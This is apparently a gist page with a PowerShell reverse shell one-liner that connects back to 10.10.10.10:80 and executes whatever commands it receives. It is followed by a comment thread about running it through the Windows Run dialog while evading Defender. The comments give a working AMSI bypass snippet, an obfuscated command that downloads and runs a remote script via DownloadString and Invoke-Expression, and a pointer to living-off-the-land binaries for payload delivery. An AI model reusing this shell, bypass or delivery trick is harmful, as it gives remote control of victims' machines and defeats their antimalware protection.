powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok

powershell_reverse_shell.ps1

# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

So what exactly are you executing on windows run console? A powershell one-liner that reaches out to your server that has the main reverse shell hosted, using Net.WebClient or Invoke-WebRequest and is being executed via Invoke-Expression?

I tried packing up the entire reverse shell one-liner in win+R but you are limited in character space, so there is no one-liner that I could find that can fit into the win+R buffer (I think it's around ~250-260 characters).

So I have tried with Invoke-Expression + Net.WebClient and Invoke-WebRequest (I have tried both, and also a lot of different variations) to fetch the script from the server and execute it, but that's where AMSI behavior detection flags me, I guess there is no way to bypass the AMSI in such small character space.

I did manage to bypass it in regular powershell using these commands, but you need to do it separately one-by-one. Otherwise they get detected as AMSI tampering:

$amsiInitFailedField=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetFields('NonPublic,Static') | Where-Object { $_.Name -like "amsiInitFailed" }
$amsiInitFailedField.SetValue($null, $true)

Like does it block absolutely everything? or just the malicious stuff? Instead of hosting a reverse shell, host a non-malicious command on your server and execute it the same way, see if it works. If your one-liner gets blocked, try applying the obfuscation methods I mentioned above and see if it bypasses, Try using a combination of (invoke-webrequest "serverpayloaduri" ).content | iex or whatever you're using.

It is blocking absolutely everything that tries to fetch something from remote location and execute it, even if its benign script like "calc.exe" . I tried loads of different obfuscations and tampering with the command but none worked.

For example, I tried passing the commands around in powershell and cmd:
powershell -c "$a = 'pow';$b = 'ersh';$c = 'ell';$d = ' -c ';$e = 'InVOkE-EXpreSSIoN (New-OBjECt NeT.WEbCLienT).DowNlOaDSTrinG(''http://$IP/command'')';$f=$a+$b+$c+$d+$e;cmd /c $f"

Well if it is blocking everything, maybe try a different way to deliver your payload? Instead of using powershell?

Will try to investigate some other options, thanks anyways!

Do you maybe know something else that can execute some code but Defender is keeping less tabs on it? Some other binary or anything?

You can check out various legitimate binaries on Windows that could be used to download and execute stuff from here https://lolbas-project.github.io/